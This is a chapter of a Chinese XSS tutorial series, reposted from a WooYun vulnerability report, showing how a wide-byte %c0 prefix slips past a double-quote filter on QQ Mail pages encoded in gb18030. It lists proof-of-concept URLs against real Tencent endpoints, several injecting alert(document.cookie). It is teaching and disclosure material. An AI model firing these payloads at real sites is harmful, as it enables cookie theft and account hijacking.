# 4\. 寬字節復仇記 [QQ 郵箱基本通用]
> 來源:[4\. 寬字節復仇記 \[QQ 郵箱基本通用\]](http://www.wooyun.org/bugs/wooyun-2010-015969)
## 簡要描述
前面教程第 2 節,說到了輸出在`<script>..</script>`之間的情況。也說到了后面會再繼續一些有意思的例子。
實際上,我們碰到的往往不是那么好。很多情況下,程序員都是會過濾的。
那么我們怎么辦呢? “因地制宜,因材施教。” 根據漏洞的實際情況,我們可以各種繞過。 不知道這里亂用成語沒啊。 惶恐不安中。
這里先看看第一種方法,寬字節繞過。
## 詳細說明
1\. 有一個比較經典的 SQL 注入,是寬字節注入。玩滲透的可能對這個都比較清楚。
2\. 有時候,寬字節確實可以帶來奇效~~下面我們看騰訊的一個例子。
3\. 例子如下:
```
http://open.mail.qq.com/cgi-bin/qm_help_mailme?sid=,2,zh_CN&t=%22;alert(1);//aaaaaa
```
我們嘗試注入 " 來閉合前面的雙引號,但是很悲劇的是,雙引號被過濾了。。 如下圖:

看到這種情況,一般人估計會放棄了吧,至少說明程序員注意到了這里,并且過濾了。
然后我們可以看到編碼是:
```
<meta http-equiv="Content-Type" content="text/html; charset=gb18030" />
```
gbxxxx 系列的編碼,那么我們嘗試一下寬字節呢?
```
http://open.mail.qq.com/cgi-bin/qm_help_mailme?sid=,2,zh_CN&t=%c0%22;alert(1);//aaaaaa
```
看看效果:

彈個窗:

至于這個漏洞的成因,和傳統的寬字節漏洞并不一樣。目測應該是由于過濾雙引號的正則表達式寫得有問題造成的。并不是因為`%22` 變 成了 `%5c%22`,而 `%c0` 吃掉了后面的`%5c`。 而后面這種情況,在騰訊的相關站點暫時沒有發現實際案例。 如果有,歡迎大家分享。
## 漏洞證明
不一一列舉了。有這個參數的基本都有問題。
```
http://msgopt.mail.qq.com/cgi-bin/readtemplate?sid=ktqO7DjMQcJuAABQ&folderid=9&pagehttp://msgopt.mail.qq.com/cgi-bin/readtemplate?sid=ktqO7DjMQcJuAABQ&folderid=9&page=0&t=aaaa%c0%22;alert(1);//bbbbx&loc=folderlist,,,9
http://r.mail.qq.com/cgi-bin/reader_main?sid=ktqO7DjMQcJuAABQ&t=aaaa%c0"bbbbx&source=folderlist
https://exmail.qq.com/cgi-bin/bizmail?sid=N7fzoGwkeI8ydyRo,7&action=show_user&alias=zhaopin@ucanlove.com&t=%c0"ccccbbbbx&s=showaccount
https://exmail.qq.com/cgi-bin/loginpage?errtype=3&verify=true&clientuin=info&t=dm_loginpage&d=fartech.cn&s=&alias=®alias=&delegate_url=&title=&url=%2Fcgi-bin%2Flogin%3F&org_fun=&aliastype=other&ss=&from=&autologin=n¶m=&sp=&r=b63f6de34c24eeb8a3099ab4bbfc1b8d&ppp=&secpp=%c0%22onmousebbbb=alert(document.cookie);//&dmtype=bizmail
http://open.mail.qq.com/cgi-bin/qm_help_mailme?sid=,2,zh_CN&t=%c0"ccccbbbbx
http://open.mail.qq.com/cgi-bin/communication?sid=,2,zh_CN&t=%c0"ccccbbbbx&action=
http://open.mail.qq.com/cgi-bin/feedback_loop?sid=,2,zh_CN&check=false&t=%c0"ccccbbbbx&action=
http://exmail.qq.com/cgi-bin/viewdocument?sid=H6Mg9z5XNfqsfhdH,7&filename=%CC%EC%BD%F2%BB%C6%BD%F0%C8%D5%D6%DC%C6%C00917.doc&mailid=ZL2017-RfnEvncOeLfhJ04eTPrSU29&retry=true&t=%c0%22ccccbbbbx&ef=qfunc
http://reader.qq.com/cgi-bin/rss_main?sid=MTOtOYwpx56MMzN9&t=aaaa%c0%22;alert(document.cookie);//bbbbx&s=mag&r=222&init=true&update=1
```
## 修復方案
修復相關過濾機制。
- 1. 什么都沒過濾的入門情況
- 2. 輸出在&lt;script&gt;&lt;/script&gt;之間的情況
- 3. 輸出在 HTML 屬性里的情況
- 4. 寬字節復仇記 [QQ 郵箱基本通用]
- 5. 反斜線復仇記
- 6. 換行符復仇記
- 7. 寬字節、反斜線與換行符一起復仇記
- 8. Dom Xss 入門 [顯式輸出]
- 9. Dom Xss 入門 [隱式輸出]
- 10. Dom Xss 進階 [邂逅 eval]
- 11. Dom Xss 進階 [善變 iframe]
- 12. Dom Xss 進階 [路徑 con]
- 13. Dom Xss 實例 [Discuz X2.5]
- 14. Flash Xss 入門 [navigateToURL]
- 15. Flash Xss 進階 [ExternalInterface.call 第一個參數]
- 16. Flash Xss 進階 [ExternalInterface.call 第二個參數]
- 17. XSS 過濾器繞過 [通用繞過]
- 18. XSS 過濾器繞過 [猥瑣繞過]
- 19. 存儲型 XSS 入門 [什么都沒過濾的情況]
- 20. 存儲型 XSS 入門 [套現繞過富文本]
- 21. 存儲型 XSS 進階 [猜測規則,利用 Flash addCallback 構造 XSS]